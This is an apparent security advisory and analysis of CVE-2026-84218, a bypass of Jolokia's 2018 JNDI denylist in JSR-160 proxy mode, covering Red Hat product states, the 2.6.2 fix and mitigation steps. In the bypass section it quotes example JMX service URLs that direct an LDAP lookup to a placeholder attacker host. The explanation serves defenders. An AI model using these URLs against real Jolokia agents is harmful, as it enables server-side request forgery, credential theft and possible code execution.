CVE-2026-84218 defeats the 2018 denylist three different ways, and Jolokia 2.6.2 — released September 2, 2026 — closes it by refusing every proxy target that has not been explicitly allowed.
What happened
Red Hat published CVE-2026-84218 on September 1, 2026, as the assigning authority, scoring it 8.1 with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H and classifying it CWE-184, “Incomplete List of Disallowed Inputs.” Red Hat’s own threat severity is Important, and its record marks the CVSS status as draft. The finder is Sandipan Roy of Red Hat.
The same day, issue 1049 was opened against the Jolokia project under the title “Incomplete JNDI Denylist in Jolokia JSR-160 Proxy (Bypass of CVE-2018-1000130 Fix).” On September 2, 2026, Jolokia 2.6.2 shipped. Its release note for that issue reads: “Deny all target JMX URLs by default if not allowed in (#1049).”
Jolokia’s JSR-160 proxy mode lets a client hand the agent a JMX service URL and have the agent connect to it through JMXConnectorFactory. In 2018, CVE-2018-1000130 established that a client could point that at an LDAP URL and trigger a JNDI lookup against a server the attacker controlled. The fix was a denylist: block anything matching the regular expression service:jmx:rmi:///jndi/ldap:.*.
That pattern holds for exactly the shape of URL its author had in front of them. Issue 1049 documents three ways around it:
- A different scheme. The regex requires the literal
ldap:. LDAP over TLS is ldaps:, and service:jmx:rmi:///jndi/ldaps://attacker:1389/o=ref does not match.
- A non-empty host. The three slashes in the pattern encode an empty JMX host component.
service:jmx:rmi://localhost/jndi/ldap://attacker:1389/o=ref is a legal URL, still performs the LDAP lookup, and does not match.
- Case. Scheme matching is case-sensitive in the pattern and is not in the URL handling.
The consequences the issue names are server-side request forgery from the agent’s JVM, credential forwarding during the LDAP bind, and remote code execution conditional on what is on the classpath when the LDAP server returns a reference. Proxy mode requires authentication — by default the jolokia role — so this is not an unauthenticated internet-facing hole, and the AC:H in Red Hat’s vector reflects the conditions on the RCE outcome.
Red Hat’s product states are uneven. Red Hat AMQ Broker 7 is marked affected in jolokia-server-core, with no errata attached to the record. Red Hat build of Apache Camel 4 for Quarkus 3, Red Hat build of Apache Camel for Spring Boot 4, and Red Hat Fuse 7 are all marked out of support scope for the jolokia packages. Red Hat Satellite 6 is not affected. On mitigation, the record says: “Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria.”
Why it matters
Eight years is a long time for a bypass to sit unfound, and the reason it sat is not obscurity. It is that the 2018 fix wrote down one example rather than one rule. A denylist regex against rmi:///jndi/ldap: encodes the exploit that was demonstrated. It does not encode the property that matters, which is that the agent is willing to make a JNDI lookup to a location the client picked. Every one of the three bypasses is a restatement of the same URL with a legal variation the author did not enumerate — a sibling scheme, an optional component filled in, different capitalization. None of them is clever. They are what a denylist looks like from the other side.
CWE-184 is the right classification and it is an unusually honest one. The easy filing here would have been the downstream impact: JNDI injection, or SSRF, or deserialization. Naming the incomplete denylist as the weakness puts the finding where the defect actually lives, and it makes the record useful to anyone auditing the many other places where the post-Log4Shell response was to add a pattern match against ldap. That response was everywhere in early 2022. This is what those patches look like when they age.
The more immediate thing for operators is that the fix is a behavior change, not a patch. “Deny all target JMX URLs by default if not allowed in” means that after upgrading to 2.6.2, a working JSR-160 proxy deployment stops working until someone configures the set of targets it is allowed to reach. That is the correct fix — it converts a denylist into an allowlist, which is the only structure that does not have this failure mode — and it will also break production for anyone who upgrades without reading the note. This site has spent the past week on releases that shipped security fixes filed as breaking changes without saying so, most recently Eclipse Theia’s agent-mode workspace escape. Jolokia is the inverse and it is the better failure: the release note describes the behavior change accurately. What it does not do is name CVE-2026-84218, so anyone mapping versions to CVEs from release notes alone finds nothing to match.
The Red Hat product table deserves its own reading. “Out of support scope” is not “not affected.” It means Red Hat is not making a determination for those packages in those products, and it appears against Camel for Quarkus, Camel for Spring Boot, and Fuse 7 — three places where a Jolokia agent is a routine part of a management endpoint. A team running any of them gets no fixed version and no statement either way, and has to establish its own jolokia-core version and its own exposure. AMQ Broker 7, which does get a determination, gets “affected” with nothing attached to remediate it. The upstream fix exists as of today; the downstream path to it does not yet.
What to do
Upgrade to Jolokia 2.6.2, released September 2, 2026. Before you do, read the behavior change: proxy targets are denied by default afterward, so any JSR-160 proxy configuration that relies on reaching arbitrary or unlisted targets will need an explicit allowlist. Test this in a staging environment first; the upgrade is safe for the vulnerability and disruptive for the deployment.
If you cannot upgrade, turn off JSR-160 proxy mode. It is the only feature this touches. Disabling it removes the exposure completely and is a stronger position than any partial filter, which is the same conclusion the denylist history here argues for.
Red Hat AMQ Broker 7. Marked affected in jolokia-server-core with no errata published. Check whether proxy mode is enabled on your brokers; if it is not, the flaw is not reachable. Watch Red Hat’s CVE page for an advisory.
Camel for Quarkus 3, Camel for Spring Boot 4, Fuse 7. Marked out of support scope. Determine your bundled Jolokia version yourself rather than reading the absence of an “affected” label as safety.
Audit access either way. Proxy mode requires authentication, so the standing question is who holds the jolokia role, whether the agent is reachable beyond localhost, and whether the JVM’s classpath contains anything that turns an LDAP reference into code execution. Any one of those being false blunts the worst outcome.
There is no reported exploitation, the CVE is not in CISA’s Known Exploited Vulnerabilities catalog, and no federal remediation deadline attaches to it.
Sourcing note
Checked against primary sources: the CVE Program record for CVE-2026-84218, published September 1, 2026, and updated September 2; Red Hat’s machine-readable security data entry for the same CVE, which supplied the Important threat severity, the draft status on the 8.1 score, the mitigation sentence, and the per-product fix states quoted above; issue 1049 in the Jolokia repository, which is the technical description of the three bypasses and the source of the example URLs; and the Jolokia release list, which puts 2.6.2 on September 2, 2026, with the release note quoted above. CVE-2018-1000130 is the earlier record whose fix this defeats.
Not reached: the GitHub advisory API returned 403 to automated fetching, so the machine-readable version ranges in GHSA-c9ff-59g8-m36q could not be confirmed. The human-readable advisory page, read on September 2, 2026, showed no affected package and no version range, which would matter for dependency scanners that consume that feed — but on a single unconfirmed read that is an observation, not a finding. cisa.gov returns 403 as well; the KEV status was checked against the catalog data CISA publishes through its own GitHub channel, which lags, so read it as no evidence of a listing rather than a positive confirmation.
Unresolved: whether an AMQ Broker 7 errata is in preparation; whether Red Hat will move the three “out of support scope” products to a determination; and whether the mixed-case bypass is independently exploitable or only in combination with the other two, which issue 1049 does not settle.
